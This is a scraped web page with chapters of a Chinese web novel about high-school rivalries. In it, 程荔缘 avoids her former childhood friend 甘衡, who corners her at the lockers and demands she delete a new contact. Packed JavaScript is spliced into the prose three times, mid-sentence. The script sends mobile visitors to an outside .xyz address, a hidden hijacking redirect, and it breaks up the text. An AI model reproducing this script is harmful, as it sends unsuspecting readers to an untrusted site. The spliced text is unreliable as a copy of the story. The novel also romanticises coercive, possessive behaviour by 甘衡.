“那回头我和荔圆儿给你带那家烤奶茶。”“好,我给你们带食堂的小桃酥!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207325|181283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 中午放学,程荔缘照例和黄秋腾出去吃。 教室闷了一上午,看看马路风景挺好,这边绿化做的很不错,都是花境绿化。 程荔缘喜欢一边步行,一边听黄秋腾说话,从老街转弯,一下子过渡到新天地的感觉,很奇妙。 商区那边很漂亮,据说城建规划请了新加坡那边的,离启航国际高中就一条街,吃的特别多,路上能看见一中的校服,也能看见启航的校服。 启航学生从衣着到气质,都和一中大不一样,混在一起,是两股截然不同的青春气息。 偶尔有目光落在对面,越过中间无形的分界线,对方看过来之前,又低头看手机,或者转头和朋友说笑,撤回各自领地。 两个学校渊源已久,都是临海市最有名的高中,出过很多优秀的校友,打过多次友谊赛,学生们表面没什么矛盾,私下都很喜欢八卦友邻。 穿哪个学校的校服,就对哪更有归属感。 启航背景强大,常青藤录取率稳步提升,不收中考落榜生,也不收态度有问题的,这些年追临江一中追的很紧,也越来越往公立靠拢,一切以分数为导向,综合素质为辅。 年轻老师经常拿一中当例子,“公立全国重高就是不一样”“学一学别人的效率”“别人口语还比你们好,雅思分还比你们高”“又调皮”“爱投诉投诉,老师又不医死马。” 一中老教师也会骂人,“懒得要死”“人家不参加高考还那么努力”“你在偷懒,人家目标是麻省理工”“我看你们考华东理工都难”“临江一中这个名字对你们没有任何加持!” 一中也设立了国际班,满足想要拿奖学金出国留学的优生和特长生。 久而久之,两个学校的学生,看对方都是别人家的孩子,偶尔一粒火星,就能呛起一些调剂死板高中生活的火花。 程荔缘她们熟门熟路走到一家生意红火的饭馆,上班族和学生都爱来。 一进去,刚好有一桌人离开,黄秋腾赶紧拉程荔缘坐下,扫桌上二维码点餐。 程荔缘点了一盘招牌水饺,黄秋腾点了烧菜配米饭,两个人分着吃,天天上课,饿的越快,只想补充碳水。 “圆啊,你下学期确定选物化政?”黄秋腾夹起一只皮弹馅儿大的水饺。 “选。”程荔缘舀了一勺她的烧菜,放到空碗里。 “就不能选物化生吗,”黄秋腾愁容满面,“这样我们还能每节课一起,我还能跟你一起走班。” 程荔缘摇头:“政治是我拉分用的,你是纯理不用跟我一起,班长问过老马,只要选理科的多半留本班,其他分出去。” 黄秋腾闭眼祈祷:“保佑我和我同桌都留本班,陈汐溪和吴放也留本班……对了让衡总也留本班。” 程荔缘忍不住了:“为什么。” 黄秋腾睁开眼:“他可是一班的门面。”她就像在说自家小区门口拿了国际建筑大奖的地标公园。 程荔缘:“到时候有理科实验班。”甘衡成绩出众,又是特长生,大概率保送。 黄秋腾深受打击:“那咱班岂不是要损失一道5A级风景线……” “嗯。” 黄秋腾见程荔缘一点也不觉得可惜,后知后觉:“圆,我怎么感觉你好像不太喜欢甘衡啊。” 她复盘了一下,终于想起,每次和陈汐溪说谁又来教室看甘衡了,程荔缘都不接茬,“你初中是宣平的,甘衡也是,宣平的学生不是去启航就是来一中,是不是没跟我说实话,是不是认识甘衡。” 黄秋腾眯眼凑近,眼里写满对八卦的渴望。 程荔缘一个多月,天天听周围人提甘衡这甘衡那的,也难免想对同桌吐露一二,至少能让好友了解一些模糊的轮廓,以后不要太频繁提甘衡了。 程荔缘:“是这样……接触过几次,不熟,他不是大家眼里看到的样子。” 黄秋腾眼睛更亮了:“那是什么样子?” 阴暗,扭曲,傲慢。善于操控人心。喜欢拿捏他人弱点。 对特定的人施恩惠,对攻击他的人,用社交赏罚那套控制对方。 “没,我确实不太喜欢他。”程荔缘点到即止,不打算在背后说人太具体的。 黄秋腾喜欢摸鱼还能成绩这么好,脑子其实很灵活,当即领会了程荔缘的意思:“好,以后咱不提他了。” 换个其他心思多点的,大概就要好奇地问“啊?为什么呀”,这也是为什么程荔缘真心把黄秋腾当朋友,黄秋腾真是挺好一人。 程荔缘举起茶杯,和黄秋腾碰了一下,黄秋腾嘻嘻哈哈,正要说其他好玩的,抬眼看向门口,笑容一收,用眼神给程荔缘示意。 程荔缘都不用回头看,低头吃东西。 甘衡和萧阙,后面跟着罗小鹏,罗珊珊和文心歌,五个人进了店,找了张大桌子坐下了,刚好在她们斜对面,甘衡落座以后,又刚好能看见她的脸。 程荔缘借着拿纸巾,往里面挪了挪,这个角度,黄秋腾脑袋刚好把后方甘衡的脸挡住。 罗小鹏特意找了甘衡和萧阙吃饭,一是想说服甘衡和萧阙加入篮球队,二是他姐姐罗珊珊拜托他,找机会让文心歌和甘衡交换个微信。 罗小鹏说了会儿篮球队的事,萧阙没什么意见,甘衡说:“可以。” 他的目光越过空气,落在靠入口的一张桌子那,文心歌以为他是想看自己。 罗小鹏高兴地说:“那行,我们加个微信吧,诶正好大家都在,要不一起加了算了。” 萧阙拿出手机,和罗小鹏交换了微信,罗珊珊用眼神暗示文心歌,文心歌手在校服口袋里,把手机拿出来,和萧阙交换了微信,除了萧阙,其他人都看向甘衡。 甘衡没动静。 6. 第 6 章 罗小鹏:“衡总?加个微信?” 甘衡:“不用,有事你找萧阙,他是我经纪人。” 罗小鹏:“哈哈哈衡总幽默。”干笑两声,他也没办法,甘衡不想做什么事,不会给任何人交代。 文心歌收回了手机,桌子上安静了两秒,萧阙朝罗小鹏他们笑了笑:“他不怎么用微信的,不用管他。” 罗小鹏挠挠头:“噢噢!饭来了,大家先吃吧。” 甘衡吃得很少,罗小鹏说:“衡总,不合你胃口啊?” 他有点纳闷了,担心甘衡是心情不好,明明刚才经过这里,是甘衡自己突然说要来吃这家的。 萧阙:“他要保持体脂比,你们吃你们的。”他在部队大院长大,说话随和又笃定,哪怕梦到什么说什么,也没人怀疑。 这和罗珊珊预想的并不一样,她甚至发现,甘衡视线一直落在前方,就好像那里有什么值得看的东西,可她转身去看了,这个时间饭馆坐得人挤人的,没什么异常。 罗珊珊给罗小鹏使眼神,罗小鹏咳了咳:“下个月文艺汇演,要提前两周准备节目吧,你们班主任选好人了吗?” 萧阙:“老马没说,估计让文艺委员安排了。” 罗小鹏:“听说合唱团要请衡总要和心姐一起合唱啊。” 合唱团缺个男声,刚好甘衡也学过声乐,音乐老师觉得甘衡形象不错,就想安排在一起,到时候在台上又拉风又好看。 甘衡眼皮抬起,注意力终于回来了:“什么时候?” 饭桌上古怪地静默一瞬。 文心歌温和道:“上周张老师不是问你吗,你答应了。” 甘衡想起了,好像是张老问了他什么事,他心不在焉嗯了一声。“不记得了,我不合唱,我去跟她说一声。” 文心歌表情尽量显得轻松:“为什么?是要避嫌吗。”最后一句半开玩笑。 甘衡:“要出校训练,要加入篮球队,没时间。” 罗小鹏没想到自己成了背锅的,假装忽然收到重要消息,摆弄手机。 文心歌知道甘衡理由很正当很充足,她努力说服自己,甘衡是按自己节奏来的,不是针对她,他对任何人都一样,“好吧,那我只有一个人上了。”她语气轻快。 萧阙主动接过话题问她要唱什么,一问一答间,谈话又流动了起来。 程荔缘和黄秋腾从最近有哪些好玩的游戏聊到了大学选专业。 “不好意思,你们旁边有人吗。”一道声音插进来。 程荔缘和黄秋腾抬头。 来人长相出众,留着较短的微分碎盖,皮肤好到不见毛孔,个子很高,穿着启航的红黑运动服,里面是一件浅领白T,锁骨和下方起伏的胸肌都很自然,透出青春蓬勃。 他背后还站了两个朋友,穿的是衬衫西裤,有个还打了领带。 “没人。”程荔缘看饭点其他地方都满座了,就朝里面让了让,黄秋腾也顺势往里让去,目光还落在对方身上。 那人在程荔缘旁边坐下:“多谢。”回头对服务员说,“加个板凳。” 服务员放了个板凳,他们其中一人坐到板凳上,拿出手机点餐,那人和坐对面的朋友说话,聊的是他们启航的事。 程荔缘换了话题,黄秋腾很快转移了注意力,说到好笑的地方,又和程荔缘埋头哧哧哧地笑了起来。 “那边不是甘衡吗。”朋友对那人说。 听到这名字,程荔缘微微一愣。 甘衡那边,萧阙也同时转头对他说:“江斯岸怎么……坐那了。” 甘衡看到了。 江斯岸坐在了程荔缘旁边,座位空间小,他们离得很近,程荔缘吃饭时,胳膊只差一点就可以擦到对方放在桌子上的手肘。 在外人看,这一桌男生挺拔,女生娇小,男生启航校服,女生一中校服,男生高高大大的坐外面,俩女生被保护在里面,很是醒目。 旁边经过的人都会好奇看他们一眼,大众对青春都是宽容且欣赏的,人不能同时拥有青春和对青春的感受。 “坐那边就坐呗。”江斯岸说。 “上次明明是互殴,你们教练光打你五十大板,内小子可太阴了。”他朋友低声笑了,“你不报复回去啊。” “斯总也被人做局了。”另一个朋友觉得特别搞笑。 黄秋腾飞快抬眼瞄了程荔缘一眼。 程荔缘和她对视一瞬,夹了一只水饺。黄秋腾的表情太丰富了,随时能截出表情包,弄得她反而想笑。只好假装专注吃东西。 江斯岸注意到她们的眼神互动,转过去对程荔缘说:“我见过你。” 黄秋腾震惊了,其他人也很意外:“斯总你们认识啊。” 程荔缘呼吸停在喉咙,出声自然而然地接过:“补习班见过吧。” 她对上江斯岸目光,江斯岸:“噢对,是在补习班,YBX那边。” YBX是这两年新开发的江岸大型商圈,旁边还连接着寺庙,十分高大上,哪个角落都能出片,已成为游客来临海市必打卡地标,本区高校多,课外补习机构都设在附近。 冰暴俱乐部的训练场地,也在里面。 其他人没有疑心这个解释,程荔缘脊背慢慢松懈,朝江斯岸微不可见地点了下巴,表示感谢。 江斯岸朝她抬了抬眉毛。 其他人朋友见他们认识,就主动自我介绍,黄秋腾话密人爽快,很快就交换了名字,程荔缘也说了自己名字。 “你们说的和甘衡打架,是什么情况啊,”黄秋腾压低声音问,“实不相瞒,我们和甘衡是一个班的,我们保证不告诉别人,纯好奇。” 戴无框眼镜的男生笑说:“其实……” 江斯岸:“想知道?这里不方便说,大家加个微信好了。” 于是桌子上的人都拿出手机互相加了,程荔缘也不例外,江斯岸先扫了她,发来好友申请,程荔缘通过了。 他们坐在一排,正朝着甘衡那个方向,甘衡全看见了。 萧阙举起杯子喝水,掩饰自己表情。“萧阙,你笑啥。”罗小鹏问。 “没。”萧阙淡笑。 上次甘衡阴了江斯岸,结果今天报应就来了。 甘衡垂下眼,脸上没什么表情,罗小鹏也没注意,却感觉脖子背后蓦然一阵凉飕。 程荔缘和黄秋腾这边吃完,看了看时间打算走了。 江斯岸和他朋友都起身为两个女生腾开位置,他那个戴无框眼镜,看起来智商很高的朋友还约她们:“下次来启航打网球吧,我们学校不封校。” 谁不喜欢这种Hot nerd男孩子呢,黄秋腾满口答应,脚下没看路,和程荔缘出去时,斜刺里撞出个人,程荔缘急停,免得他撞到黄秋腾。 结果,程荔缘被撞得歪倒,江斯岸一把托住她胳膊。 “怎么看路的。”撞人的是一中的,校服穿得松垮,校徽每届有数字,是高二的,目光不善。 江斯岸:“是你先撞过来的吧,怎么看路的。” 对方看了程荔缘和黄秋腾一眼,两个乖乖女生,当即嘲讽:“心疼了,你们女朋友啊?一中人启航的搅和在一起是少见。” 黄秋腾立马忍不住了:“谁是谁女朋友啊?说谁呢?” 对方看上去不屑和女生直接吵,没接茬,只盯着江斯岸。 江斯岸认出了对方,一中校篮球队的,首发队员,上次比赛输给了启航,江斯岸好几次快攻时,对方来不及回防,比分有点惨。 不过江斯岸在篮球队只算个支援,他主要精力还是放在冰球上。 和甘衡一样,江斯岸也是冰暴俱乐部的青少年种子选手。 “学长,”一声平平淡淡的嗓音响起,那人肩膀上出现一只修长大手,压在他肩上,往后轻轻一拉,对方整个人不由自主后仰,急退半步才维持住平衡,“这里是校外,等下被人拍到发给邱老那边。” 邱老是政教处主任,管学生纪律,大家背后都叫他辽宁舰,因为他是大连人,还经常全校巡视。 那人扭过头去,甘衡比他更高,目光俯视,脸上神情很礼貌。 黄秋腾眼睛都用不过来了,一会看看这个,一会看看那个。 他们几个大男生杵在这,引得吃饭的人都在看,老板娘走过来:“干啥呢,同学,不准打架啊!” 对方甩开甘衡的手,耸耸肩,错身而过时,低声留下一句,“怪不得他们说你该滚去启航。” 甘衡没理睬,目光落在程荔缘脸上,程荔缘能感觉他目光是在她脸颊上慢慢一寸一寸流过去的。 在江斯岸看来,这孙子眼睛里就跟有针一样,只有知道他真面目的人看得出来,外人只觉得他礼貌得体。 江斯岸:“您有事?” 其他人保持观望,这一圈人的父母都在一个人脉层,大家都间接认识,也都去看过冰暴俱乐部的比赛,知道甘衡和江斯岸有过结。 萧阙也过来了,主动打招呼:“都在啊,改天一起打球?” “行,到时候约。”无框眼镜男生和萧阙一样是调节气氛的高手。 程荔缘对江斯岸说:“那我们先走了,谢谢啊。”“好。”江斯岸抬手挥挥,其他人也和两个女生道别,她们走出饭馆,背影很快淹没在人流中。 甘衡原地站了两秒,萧阙拍了下他胳膊,两人回了座位,江斯岸他们也继续吃东西。 “诶,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207326|181283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心?”一个女生吃完路过,看到了文心歌。 文心歌认出了对方,是辅导过她的姐姐,现在在上大学了。 那女生看到了甘衡,知道文心歌一直憧憬甘衡,顿了顿,灵机一动想助攻一把。 女生眉开眼笑问文心歌,“你男朋友吗?这么帅。” 文心歌脸一下子红了,却没有马上否认,心里隐隐抱有一丝说不清道不明的期望。 甘衡礼貌又平直地说:“不是。” 女生有点尴尬,她以为他们关系很熟才坐在一起吃饭的,试图补救,“这样啊,你俩看着挺般配。” 萧阙心道完了,甘衡最厌乏这种不看人眼色的社交自来熟。 果然,甘衡抬眼:“我觉得我和谁看着都般配,不分男女老少。” 女生闹了个大红脸,明明知道甘衡是在讽刺,却生不起气来,他年纪小,身材高大,声线又柔和清冷,语感咬字入耳极了,这样抬眼看人,会让人有自己是被选中的错觉,不管他说什么,都让你觉得自己是特殊的那个,至于他说什么,不重要。 女生也还是个生涩未出社会的大学生,挡不住这种杀伤力,看见文心歌垂下头没了笑容,心里咯噔一下,满心尴尬,随口客气了两句,着急忙慌地走了。 萧阙心里叹气,谁让甘衡他家曾曾爷爷在战场上救过他家曾曾爷爷的命呢,不然他真是不想伺候了。 小时候去甘衡家拜访,他经常看到程荔缘。 甘衡和他玩男生的东西,也会带上程荔缘一起,态度一会儿很亲近,一会儿又不耐烦,嫌她笨笨的,程荔缘也不生气,睁大眼睛奶声奶气和他理论。 现在程荔缘不理人了。萧阙也不知道其中发生了什么。 现在饭桌上气氛冷场到了极点,罗小鹏不知道哪根筋搭错了,估计是看到女神尴尬,一下子热血上头,不假思索地说:“衡总,这话情商低了吧,那叫‘还不是’。” 甘衡看了罗小鹏一眼,那一眼让罗小鹏冷汗下来了。 萧阙看罗小鹏,仿佛罗小鹏是一中的智商洼地。 罗小鹏:“我开玩笑的哈哈哈……” 文心歌终于说话了,语气倒听不出情绪:“我也没打算在高中谈恋爱。”她接下去连话都少了,或许是迁怒罗小鹏是罗珊珊的弟弟,她也没有再和罗珊珊说话,一直吃饭。 一顿饭安静收场,甘衡和萧阙吃完说还要训练,没有和他们一起走。 罗珊珊终于意识到,甘衡是真的对文心歌没那个意思。 连一丁点“不喜欢但表白了也不会拒绝”的余地都没有。 文心歌漂亮,罗珊珊一直有种不自知的与有荣焉,她自己也长得不错,才能和文心歌当朋友,甘衡不喜欢文心歌,罗珊珊想不通,这似乎隐约掐死了她内心那一丝出于私心的朦胧期待。 文心歌沉默不语,罗珊珊感同身受了那种心理落差,不甘心的感觉越来越强烈。 “我觉得,甘衡帮启航那边的人怼那个高二学长,挺奇怪的。”罗珊珊说。 文心歌转过来看着她,罗珊珊看到她表情,知道她和自己想的一样,“他和那个江什么,关系并不好,他不是去帮他的,应该是去帮和他同班的那两个女生的。” 文心歌飞快说:“甘衡人很好,乐于助人,比赛完了,他也会主动维持秩序,去扶摔倒的粉丝。” 罗珊珊:“那个女生好像不是他粉丝。” 文心歌没有再说话,一些细枝末节浮上心头。 甘衡站在洗手台旁,握住那个女生的手腕,不容分说地用凉水冲她被烫到的手。 他们周围好像有看不见的结界,外人的声音弱到无限远,无法抵达,无法穿透。 另一边,程荔缘拉着黄秋腾走出老远,绕过转角,才放慢脚步:“去喝烤奶茶?” 黄秋腾雀跃:“好好好,我要桂花味儿的。”“那我要咖啡味。” 那家罐罐烤奶茶很火,老板全用真材实料,一口下去满血复活,程荔缘和黄秋腾边喝,边慢慢走回学校,手上还一人拎了一杯,本来给陈汐溪带的,程荔缘一动念,也帮吴放买了。 吴放是陈汐溪同桌,还经常给她们讲化学题,大家也都是朋友了,请喝一杯奶茶完全应该。 黄秋腾打开手机,迫不及待浏览新联系人的朋友圈,第一秒就震惊了:“他和甘衡一个冰球队的!……还有训练视频!哇哇哇。” 她都没空讲话了,一路点评一路往下刷,程荔缘让她挽着自己胳膊,带她转弯过马路。 手机一振,程荔缘微信多了两条新消息。 江斯岸:[初中甘衡训练的时候,你来看过他的] 江斯岸:[你们现在绝交了?] 7. 第 7 章 程荔缘单手打字:“和你没关系吧。” 江斯岸:[抱歉,就是挺惊讶,他把全班其他人都哄成胚胎了吗。] 程荔缘:[……不至于。] 其他人好感刷满了,还是有少数人对甘衡态度正常,比如她同桌,比如前排陈汐溪他们。 江斯岸:[你报过冰球入门课,后面就没来了,这么多课时可惜,下次你来,我陪练,找个甘衡不在的时间。] 程荔缘犹豫了下,她妈妈当时觉得打冰球能长个子,就给她报了课,后来她拖延没去,就是不想看见甘衡。 要退课程还要跟程揽英说,她不想她妈妈知道她和甘衡绝交了,否则她妈妈肯定第一时间告诉董阿姨。 程荔缘:[可以。] 江斯岸:[好,到时候联系。] 回到教室,程荔缘和黄秋腾把奶茶摆桌上,陈汐溪也把小桃酥摆旁边,大家都可以拿,吴放吃得最多,一边抱怨说不喜欢燕麦味,一边把奶茶吸了个精光。 路过男生调侃吴放:“哎,贾宝玉。”被吴放利落起身追上揍了一顿。 午休学生会巡视,有人玩手机会扣分。 陈汐溪在专心刷题,吴放睡午觉,黄秋腾恋恋不舍把手机给程荔缘,用气声说:“圆,帮我放下,困得要死了……” “晕碳了吧。”程荔缘去了教室外,走廊上一个人都没有,每个班昏睡一片,安静得不像话,阳光透进来,尽头有婆娑树影。 她打开自己柜子,两只手机正要放进去,她手机屏幕亮起,消息提示的头像是江斯岸。 江斯岸:[下周末刚好有空。] 程荔缘正要打字回复,一只手突然伸过来,撑到她旁边的储物柜上,“砰”的一声,清淡气息进入鼻息,身躯挡住了她的视线,和尽头藤蔓参差的阳光。 她撞入甘衡的眼睛。 那双眼睛让她身体比大脑反应更快,转身脱困,对方伸出另一条胳膊,把她另一边路也封死了,借着身高差和体型差,把她困在自己和储物柜之间的狭小空间,低头看着她。 “删了。”他的声音和平时不一样,语气缓慢,凉凉沉沉,好像一块冰落在她领口内,他目光也垂落在她衣领,天气热,程荔缘没有扣最上面的扣子,锁骨露在外面,从他的角度,能隐约看见一丢丢里面皮肤。 程荔缘心率加快,不是因为害羞,她怕走廊会出现其他人,更怕身后教室哪个同班无意间出来,随时随地就能看见这一幕。 “你疯了吗。”程荔缘轻轻从齿缝间挤出声音,“让开。” 甘衡目不转睛地看着她,“删了。”他声音又轻又恶狠狠的。 这是绝交四百天后,他用本来面目对她说的第一句话。 程荔缘闭了闭眼,压下胸口泛起的情绪,抬起眼,面无表情,慢腾腾地说:“我不。” 甘衡眼皮有细微的轻跳,连带睫毛末端的抖动幅度也明显,程荔缘脊背一股战栗顺流而下。 这表情太眼熟了。碧荫参差,风动影摇。 甘衡就像终于扯下社交头套,漫不经心透了口气,露出个不解的表情:“你不?为什么,你在我这里行不通,就要转移目标?” 完美优等生的阴影面积,就像月球背影一样,黑漆漆,又坑洼洼。 程荔缘如释负重,一个多月了,这人终于不装了。 心里有些疲倦,有一点淡淡的悲哀。 程荔缘:“让开,真要我把你干的那些事抖出来么。” 甘衡眼睛一眨不眨,唇角清纯又无辜,恶意都藏在眼睛里:“那你小时候干的那些事呢,他们知道了,你猜他们会不会说,你表白被拒就诽谤。” 程荔缘:“我加谁好友,跟你无关。你到底想干什么?” 他们音量放得极低,只有对方能听见。 被那双黑魆魆的眼睛盯着,被迫困于他手臂和身体组成的狭小空间,程荔缘只想瞬移出五米开外。 甘衡慢慢说:“怎么没有关系,我是你青梅竹马,程阿姨和我妈妈都让我照顾你,江斯岸是什么人,你跟他一起玩,到时候长辈问起,我是第一责任人。” 远处似乎有人下楼,足音回响,连同青梅竹马四个字,压迫在程荔缘耳膜上。 程荔缘:“随便加一下好友很正常,不代表要一起玩,让开!” 她用力掰开甘衡的手,可是他胳膊一动不动,她力气是正常的,但和他完全没法比,他说的这些话,彼此无忌的动作,让她错觉他们又回到了最熟悉的模式。 程荔缘不要这样。 “那你以后还装不装不认识我。”甘衡轻咝咝地说,好闻的气息落在她头发和肩膀上。 程荔缘一个肘击撞他腹肌上,甘衡没防备,后撤不及时,轻轻闷哼一声。 他喘了口气,阴阴地看着程荔缘,嘴唇微微张开,露出的那一点牙齿边缘凉森森的,像夏日山荫河水里泡着的羊脂白玉。 有那么一瞬间,程荔缘有退缩之意,但她控制住了。 “我们不是青梅竹马,去年我跟你道了歉,也把话说得很清楚了,除了家里长辈饭局,私下没必要有交集。” 一年前她说这样的话,胸腔还会酸涩,现在像个旁观者一样冷静。 隔壁班关着的教室门突然开了。 罗珊珊正要去洗手间,看到对面储物柜,其中一个背影高大修长,另外一个被挡住了,明显是女生。 罗珊珊有轻度近视,这个距离没看清他们是怎么站的,下意识朝那边走了两步,那女生却啪一声把柜门关上,匆匆回了教室。 午休时间,两个人一起出来把手机放进柜子里的概率很小。 甘衡转过身,罗珊珊怔了下,尴尬地移开眼神,心跳小加速,她是文心歌的朋友,甘衡应该会和她打招呼。 甘衡看也没看旁边,好像走廊上就他一个人,径直回了教室。 罗珊珊脸色僵硬,对这个年纪的高中生来说,比起被拒绝,更让自尊心受伤的是被彻底忽视。 她难以消化涌起的负面情绪,这些负面情绪好像被牵引着,往那个女生的背影涌去。 如果她没看错,那个人应该是程荔缘。 过了两天,甘衡没有再主动来找她。 程荔缘松了口气,果然,她提起了那天的绝交发言,他就不来烦她了。 甘衡只是惯性受关注,生来有傲慢的资本,他可以无视别人,但不允许别人放弃关注他,尤其是她小时候一直是他的跟班。 程荔缘想起开学前两天来学校报道,走进教室,第一时间看到甘衡,心口一沉的窒闷感觉。 她迅速调试自己,高中三年,她要认真备考,去第一志愿。 他的外表,光环,引人瞩目的一举一动,在她眼里都不再具有任何吸引力,和普通同学没有任何区别。 甘衡或许是意识到了这点,每次回头和吴放说话时,目光都会直直落在程荔缘脸上,眼睛里像有小凿子一样,像根本不在意旁人会不会发现。 程荔缘并不担心,她太普通了,其他人就算注意到,也会认为甘衡是在看教室后面的海报。 程荔缘低头刷题,头也不抬。 只要这人别找她说话,看几眼无所谓,同一个班抬头不见低头见,习惯了就能无视。 “题做快了练不到思路,做慢了时间不允许,”黄秋腾抱怨着,“我今天去图书馆找找感觉,圆啊,要来吗。” “不去,”程荔缘觉得图书馆杂音太多,“我就在教室睡个觉。” 中午吃完饭回来,程荔缘把小枕头放在了桌子上,正要趴上去。 “荔缘,学校门口有人找你,说是你家长。”班长过来轻轻敲了下她桌子。 程荔缘皱了下眉。 程揽英忙得脚不沾地,平时都在做咨询和培训,有时候还要飞外地,这个时间不可能,也不可能是钱友让。 到了校门口,穿灰色制服中气十足的保安阿姨问她:“那边那个是你家长吗,说找你有事。” 程荔缘看过去,法国梧桐下,站着个打扮时髦的年轻女人,穿着宽松的连衣裙,肚子比上次见又大了一些,不是李婉铧是谁。 程荔缘眼神冷淡,对保安阿姨摇摇头:“不是。” 李婉铧一眼锁定程荔缘,第一时间噔噔噔过来了。 “给你打电话你怎么不接啊?”李婉铧不耐烦地质问。 保安阿姨不满她这幅态度:“学校有规定,手机不能进教室,你是这位同学什么人哪,她说你不是她家长!” 李婉铧无视了保安阿姨:“你奶奶生病住院了,保姆回老家了,你先请个假跟我过去轮流守下人,应付个一天,到时候护工来了再说。” 程荔缘没应她,隔开一点距离,像看奇行种一样看着李婉铧。 保安阿姨五十多了什么没见过,一下子猜出李婉铧是什么人,见是个孕妇,怕她闹事,直接拦在程荔缘前面:“我们学校有规定,没有直系亲属来接,没有请假,任何人不得擅自带学生离校!” 李婉铧:“我是她阿姨!她奶奶现在情况不好,要是有什么事,见不到最后一面,你来负责吗?” 保安阿姨生气了:“她奶奶没儿子没女儿,轮得到一个还在学校念高中的小孩子去照顾?” 李婉铧:“你叫什么名字,把你们学校领导喊来,我要投诉你!” 保安阿姨不是吃素的:“你快去投诉!我还报警呢,什么人啊!警告你,不明人员离校门远点,否则我叫保安队来,后果自负!” 李婉铧声音大,中午虽然人少,还是有两三个学生路过,向这边投来视线,放慢了脚步。 李婉铧自觉让程荔缘丢脸了,胸口出了口闷气,换了副和善一点的表情:“我真没骗你,要不让你爸爸跟你说一声,我给他打电话,你听听?” 程荔缘负手冷静地说:“我不认识你,今天我不会离校,你如果不走人,我叫班主任了。” 钱美萍真有事,钱友让会亲自来接她,她姑姑和二叔也会联系她。 李婉铧亲自下场演这一出,明显是夸大其词,想让她离校再说。 程荔缘懒得管李婉铧发什么疯,从头到尾就不想和发生一丁点联系。 上次她妈妈知道她周末去吃饭那出闹剧之后,非常生气,打电话过去把钱友让骂了个狗血淋头,然后告诉她,千万不要和李婉铧单独相处,也不准她短时间再去奶奶那边。 李婉铧就像在这等着她一样,瞬间提高了声音:“你还没有点孝心了,你奶奶都在抢救了,这么冷漠,你妈妈真是没把你教好!” 空气凝滞了一瞬。 最后一句对未成年杀伤力很大,换个性子软的可能会气哭,掉进对方逻辑不知道怎么反驳。 程荔缘面不改色心不跳,轻轻笑了:“令堂令尊把您教的好,硕士勾引导师,破坏别人家庭,被临海大学给予开除处分,我只是个不懂事的小孩子,当然没有李婉铧阿姨你厉害,您别和我一个小辈计较。” 附近那些少数路人和学生,听到这个炸裂信息,一瞬间都对这个打扮光鲜亮丽的女人面露不齿。 不管在哪里,做出这种事,都代表了这个人的人性底色。反正和真善美没关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207327|181283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系。 就这还能对人家孩子贼喊捉贼,更是让人嫌恶。 “自己行不端坐不正,还敢当面骂别人妈妈。”“什么素质。”“老鼠儿子会打洞啊。”附近老小区多,大爷大妈饭后遛弯,路见不平,就交头接耳议论两句。 “还是临海大学的?”“我女儿也在里面读书,没见过这种人啊。” 李婉铧脸上红白交错,程荔缘和她妈妈一个模子的不好惹,居然当众把她名字字正腔圆地念出来了。 但她既然一不做二不休,就不会在意这点脸皮:“你一个小辈,怎么对长辈这么说话的!你奶奶小时候还带过你,她在医院,再怎么样你不能不去看。” 保安阿姨迅速抓起对讲机,让保安队来驱赶这个陌生女人。 “同学你快回教室,别跟她纠缠。”保安阿姨扭头说。 这个建议很周全,有大门挡着对面就进不来。 程荔缘点点头:“谢谢阿姨。” 她转过身正要走,前面站着两个学生,有点眼熟,好像是二班的。 罗珊珊也是凑巧经过,没想到就目睹了这一出,一股隐秘的动机在胸口升腾,她怕程荔缘要走,横了一步挡住程荔缘去路,嘴上却十分担心关切:“同学,这样不好吧,这个人毕竟是你家亲戚,万一你奶奶真的不好了怎么办,要不还是去看看。” 罗小鹏原本没打算掺和,可是他姐姐捏了他一下,罗小鹏帮腔说:“是啊,要不然还是去看看吧。”他是体育生,堵在那,保安室狭窄,程荔缘根本过不去。 程荔缘真的要笑了。 她今天是西天取经到灵山了吗,怎么妖魔鬼怪都一下子冒出来了。 程荔缘深吸一口气,酝酿怼人,罗小鹏突然一个后仰,整个人被一股大力扔了出去。 他徒劳地向后急急碎步,还是背朝下摔在水泥地上,尾椎疼的要命,摔倒前本能拉住了罗珊珊袖子,想维持平衡,罗珊珊也被同步拽倒,头发糊脸,快疼哭了。 任谁都能看出来,来人对他们一点客气劲儿都没有,没当同学,也没当人。 罗小鹏还以为是辽宁舰邱兴国,吓得要死,结果一抬头,彻底愣住。 罗珊珊也没反应过来,呆呆看着甘衡背影。 “滚,”甘衡都没回头,吐字清凉阴柔,飘落在他们脚边。 完美优等生的脏字,好像幻听。 甘衡越过程荔缘和保安阿姨,出了保安室,走到李婉铧面前。 “诶诶,同学你干嘛!那人是孕妇!”保安阿姨急道。 李婉铧顿时想起上次她划伤了甘衡的手臂。 